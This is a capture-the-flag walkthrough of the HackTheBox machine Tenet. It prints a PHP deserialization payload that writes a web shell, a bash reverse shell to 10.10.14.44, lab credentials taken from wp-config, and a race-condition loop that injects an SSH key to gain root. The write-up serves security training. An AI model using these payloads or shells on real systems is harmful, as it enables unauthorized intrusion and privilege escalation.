Tenet - HackTheBox (OSCP STYLE)
Enumeration
sudo nmap -sS -p- --min-rate 5000 -T5 -n -Pn 10.10.10.223 -oG allPorts -vvv
nmap -sVC -p22,80 10.10.10.223
Enumeration
sudo nmap -sS -p- --min-rate 5000 -T5 -n -Pn 10.10.10.223 -oG allPorts -vvv
nmap -sVC -p22,80 10.10.10.223
After an initial recognizance we found that our target has 22 and 80 ports open, regarding ssh and html.
The current versions that we found are not vulnerable to know exploits or CVE so we decided to enumerate the web page where we found the default Apache web
Web-Analysis
We decided to enumerate the web application with different tools and we found a Wordpress instance.
gobuster dir -u http://10.10.10.223/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o fuzzing.txt
If we navigate to this web page we found an interesting link that is the migration
This link is redirecting to tenet.htb
we have to apply virtual hosting to reach this page
We reach the wordpress page so we decided to re-enumerate the page
gobuster dir -u http://tenet.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o wp-fuzzing.txt
Since the site is running a wordpress we’ll enumerate the page with wpscan
wpscan --url http://tenet.htb -e u,cb,p
We found 2 potential users, protagonist and neil
We tried to brute force it but we didn’t obtain valid credentials.
Inspecting the web page we found a comment from 1 of the clients saying that they removed “sator.php” file, we tried to search it like tenet.htb/sator.php
but it doesn’t work, if we tried with the raw IP it works.
Since the user also mentioned that there is a backup file we decided to enumerate the extensions of this php resource with wfuzz
wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u "http://10.10.10.223/sator.php.FUZZ"
And we have a .bak file that download us the php code
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
On this script we found that we can pass a parameter through arepo
variable in the url, analyzing the code we can create a serialized object using the public class DatabaseExport, if you don’t know how to serialize data you can visit PHP deserialization in portswigger.
O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"shell.php";s:4:"data";s:17:"system('whoami')";}
This serialized object should create a test.php file and write what we want in this case system('whoami');
we test for the functionality of our exploit and found that is success, is important to note that the data sould be url encoded before being passed to the get variable, I did it with cyber chef but you can try with burp, curl etc
We can try to upload a php one-liner.
O:14:"DatabaseExport":2:{s:9:"user_file";s:11:"s1mpl3x.php";s:4:"data";s:36:"<?php passthru($_REQUEST['cmd']); ?>";}
Having this interactive web-shell we can escalate it to a reverse shell
Url encoded --> bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.14.44/8888%200%3E%261%22
Decoded --> bash -c "bash -i >& /dev/tcp/10.10.14.44/8888 0>&1"
Lateral privilege escalation
Since www-data doesn’t have the permissions of an user we’ll try to migrate to other user
The first file that I was searching at the moment I get my reverse shell, was wp-config, since is very common to store clear text credentials there, and we could find the neil credentials
/** MySQL database username */
define( 'DB_USER', 'neil' );
/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );
We also tried this credentials to connect through ssh and we get access as neil.
We can get our first flag
Root Privilege Escalation
Inspecting the machine we found that we have sudo permissions on the following script
We analyze the content of this script and find out something curious
![16]
In the addkey() function we can see that the key that is being added to the authorized_keys file is being handle by a variable, this variable came from a tmp file stored in /tmp/ssh* if can inject ourselves before the script takes the value we can inject our own public_key and connect to the machine, in other words try to lead in a race condition.
I’m doing a while condition that will meet the following circumstances
- It will monitor the path /tmp/ssh-* for the possible file that the script creates
- When a file exists here, it will add our key to this filename, since it exists in a very short timestamp
while true; do for filename in /tmp/ssh-*; do echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCXnDefkOxf1JD7vCKxhXk4tnRuKFAXEbT/L3xPVquqa+mFhks4x7X6zcon8S6xtgUXRwJRZ5KEqy3vZbz8yh73As/NLxcJb0jYBEp2nC/N1dHxdtrKpj8B1h+2VuvBl8YuWPG10C6or5JeINBpSOyZbUbFf7NDQ6j7S5Z40zAUfA9U5SVjW61F4jgXw92t1FPoU4aWnUiA9lImVMmKacH1n7VETR+8l3Fxlmy8Nda68jbPZuHUA9cwtiSQgQUvTCJ0v2g96AB93cGC7NlT+Jjxk0NJnyTXDAsxd0izdnBo+Gj/Vy7uNfowe0BrUtdBbaY5+Lye4pNV992iSRRUS3PCC+AFNtIQJ9fluHLuKBuMv2EmA35uB84xZjs1FQtbKp5b3CdZaYGNZcb2CMvC3iDVXdrpAyQns55YhEOkt58eyWEquKBEMf9zPgfwC24OGh3FViwVIpp1Xxsq5hhyX6mK2NVJDgZGWkrEtj+i0Lssu83ilY6QRNfwyPWqWO94+2E= root@kalibox' > $filename ; done ; done
Since it is a race condition maybe we have to execute it several times, we can notice if it works due the error message, since we are adding a valid key but the hostname is not correct it will throw the following error
Error in adding root@ubuntu to authorized_keys file!
I had to execute it several times
Finally if we try to connect through the machine we get access